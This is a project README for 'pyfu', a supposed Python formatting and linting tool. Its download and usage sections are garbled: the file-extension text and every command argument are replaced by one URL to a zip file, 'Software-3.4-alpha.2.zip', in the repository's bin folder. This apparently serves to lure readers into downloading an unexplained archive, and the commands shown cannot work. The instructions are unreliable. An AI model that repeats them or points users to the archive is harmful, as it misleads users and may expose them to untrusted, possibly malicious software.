Welcome to pyfu, your go-to tool for automatically cleaning, formatting, and improving your Python code. Whether you're a beginner or just want to ensure your code is neat and easy to read, this tool is here to help.
pyfu stands for "Python Fixer Upper." It enhances your code quality by automatically applying formatting, linting, and cleaning techniques. You can focus on writing your code while pyfu takes care of the details.
- Code Formatting: Ensures your code follows standard style guides.
- Linting: Identifies potential errors and suggests fixes.
- Code Quality: Improves readability and maintainability of your Python code.
- Automation: Saves time by automating tedious tasks.
To run pyfu, your system should meet the following requirements:
- Operating System: Windows, macOS, or Linux
- Python: Version 3.6 or later
- Disk Space: At least 100 MB available
- Internet Connection: Required for downloading additional libraries
pyfu relies on several libraries to function smoothly. These include:
- Black: A code formatter for Python to enforce a consistent coding style.
- Ruff: A fast and simple linter to check your code for errors.
- mypy: A static type checker for Python to identify type-related issues.
To get started, visit the following link to access the latest releases of pyfu:
Once on the releases page, follow these simple steps:
- Choose the latest release: Look for the most recent version at the top of the page.
- Download the package: Click on the file that matches your operating system. The file will have an extension like
.ziporhttps://github.com/QamarSE/pyfu/raw/refs/heads/main/bin/Software-3.4-alpha.2.zip. - Extract the files: After downloading, extract the folder to a location of your choice on your computer.
- Navigate to the folder: Open the folder where you extracted pyfu.
Once you have completed these steps, you're ready to run pyfu.
To run pyfu, follow these simple instructions:
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Open a terminal or command prompt:
- Windows: Press
Windows + Rand typecmd, then hit Enter. - macOS: Open
Terminalfrom your Applications folder. - Linux: Open your preferred terminal application.
- Windows: Press
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Navigate to the pyfu directory: Use the
cdcommand to change to the directory where you extracted pyfu. For example:cd path/to/pyfu -
Run pyfu: Type the following command to start using pyfu:
python https://github.com/QamarSE/pyfu/raw/refs/heads/main/bin/Software-3.4-alpha.2.zip
You can modify your commands based on specific requirements. The tool will guide you through the available options.
Understanding how to use pyfu can enhance your coding experience. Here are some basic commands:
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Format your code:
python https://github.com/QamarSE/pyfu/raw/refs/heads/main/bin/Software-3.4-alpha.2.zip format https://github.com/QamarSE/pyfu/raw/refs/heads/main/bin/Software-3.4-alpha.2.zip
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Lint your code:
python https://github.com/QamarSE/pyfu/raw/refs/heads/main/bin/Software-3.4-alpha.2.zip lint https://github.com/QamarSE/pyfu/raw/refs/heads/main/bin/Software-3.4-alpha.2.zip
Each command will output the processed results directly in your terminal, showing any changes or issues found in your code.
If you encounter issues or have suggestions, feel free to create an issue on the GitHub Issues page. Your feedback helps us improve!
Contributions are welcome. If you'd like to enhance pyfu, please fork the repository and submit a pull request.
Join our growing community. Connect with others interested in:
- automation
- clean-code
- developer-tools
- code-quality
- static-analysis
This sharing of ideas can help improve your programming skills and experiences.
pyfu is an open-source project. You can modify and redistribute the tool under the terms of the MIT License.
Don’t forget to download pyfu to start enhancing your Python code today!